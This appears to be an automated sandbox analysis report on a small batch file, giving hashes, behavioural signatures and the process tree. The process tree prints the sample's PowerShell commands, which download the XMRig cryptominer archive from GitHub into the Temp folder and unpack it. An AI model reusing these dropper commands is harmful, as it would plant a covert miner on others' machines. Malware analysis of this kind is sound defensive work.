Analysis
-
max time kernel
90s -
max time network
88s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
21-12-2024 15:07
Behavioral task
behavioral1
Sample
s.bat
Resource
win11-20241007-en
windows11-21h2-x64
Behavioral task
behavioral2
Sample
s.bat
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral3
Sample
s.bat
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral4
Sample
s.bat
Resource
win10ltsc2021-20241211-en
windows10-ltsc 2021-x64
Behavioral task
behavioral5
Sample
s.bat
Resource
win11-20241007-en
windows11-21h2-x64
General
-
Target
s.bat
-
Size
1KB
-
MD5
1e64009a55d5a9eb64fd903f621e5ae0
-
SHA1
0e5de7ecc2363d16ac2ae8f244d895cff70d6cdb
-
SHA256
c5845905301cb177cd5ba386ab909a43ed5263ddbbc470ab0da8ef8c8bc82abf
-
SHA512
2b28221714861951beeb73247a7ab58f4e68d3510e030d25787a13c6c715cea2b82d51cb1f262736dde8738e9ceb59420b4d4dc724524ece75a6a13978da8695
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 2 3832 powershell.exe 3 3832 powershell.exe -
pid Process 3832 powershell.exe 3356 powershell.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2972 timeout.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3832 powershell.exe 3832 powershell.exe 3356 powershell.exe 3356 powershell.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3832 powershell.exe Token: SeDebugPrivilege 3356 powershell.exe Token: SeDebugPrivilege 1552 taskmgr.exe Token: SeSystemProfilePrivilege 1552 taskmgr.exe Token: SeCreateGlobalPrivilege 1552 taskmgr.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe 1552 taskmgr.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4384 wrote to memory of 3832 4384 cmd.exe 79 PID 4384 wrote to memory of 3832 4384 cmd.exe 79 PID 4384 wrote to memory of 2972 4384 cmd.exe 80 PID 4384 wrote to memory of 2972 4384 cmd.exe 80 PID 4384 wrote to memory of 3356 4384 cmd.exe 81 PID 4384 wrote to memory of 3356 4384 cmd.exe 81
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4384 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3832
-
-
C:\Windows\system32\timeout.exetimeout /t 102⤵
- Delays execution with timeout.exe
PID:2972
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3356
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵PID:892
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1552
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD55f4c933102a824f41e258078e34165a7
SHA1d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA256d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
SHA512a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
-
Filesize
1KB
MD512ff85d31d9e76455b77e6658cb06bf0
SHA145788e71d4a7fe9fd70b2c0e9494174b01f385eb
SHA2561c60ff7821e36304d7b4bcdd351a10da3685e9376775d8599f6d6103b688a056
SHA512fcc4084ab70e49821a3095eeac1ef85cf02c73fdb787047f9f6b345132f069c566581921fac98fab5ddec1a550c266304cce186e1d46957946b6f66dba764d2f
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
2.5MB
MD557b7ab5bce7d5e47fd168e1f0d437d32
SHA1050eeae3e0f0e876f9da175347b586871d14fe83
SHA2561d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc
SHA5128cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022